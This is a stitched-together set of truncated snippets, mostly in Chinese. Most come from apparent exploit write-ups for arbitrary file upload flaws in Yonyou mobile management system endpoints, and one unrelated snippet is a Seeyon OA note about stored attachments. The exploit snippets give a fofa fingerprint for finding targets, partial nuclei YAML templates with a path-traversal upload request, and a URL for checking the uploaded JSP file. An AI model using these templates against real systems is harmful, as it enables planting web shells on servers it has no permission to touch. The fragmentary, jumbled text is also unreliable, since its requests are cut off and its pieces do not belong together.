---WebKitFormBoundary7MA4YWxkTrZu0gW-- 响应包中显示了上传后的文件路径。 nuclei批量yaml文件 id:yonyou_yidong_uploadinfo:name:用友移动管理系统upload任意文件上传author:mhb17severity:criticaldescription:descriptionreference:-https://tags:uploadrequests:-raw:-|- POST /mobsm/common/upload?category=../weba...
31 changes: 31 additions & 0 deletions 31 用友移动系统管理uploadApk接口存在任意文件上传.md Original file line numberDiff line numberDiff line change @@ -0,0 +1,31 @@ ## 用友移动系统管理uploadApk接口存在任意文件上传 ## fofa ``` body="../js/jslib/jquery.blockUI.js" ``` ## poc ...
先发包验证,返还状态码必须是2成功,其他状态码不行 访问url验证文件是否上传成功 /maupload/apk/a.jsp nuclei批量yaml文件 id:yonyou_yidong_uploadApk_uploadinfo:name:用友移动管理系统uploadApk.do任意文件上传漏洞author:mhb17severity:criticaldescription:descriptionreference:-https://tags:uploadrequests:-raw:-|-...
解决方法: 在致远软件V280SP1、282SP1版本中,即使把协同删除掉,协同中的附件还是会存在upload中,不会被删掉。如果是单位文档中上传的文件,如果在文档管理里直接删除,upload中的相应文件也会同步被删掉。 了解更多OA办公系统知识,咨询致远OA软件协同事业部:4008208720,或登录致远OA网站:www.ufidaoa.com...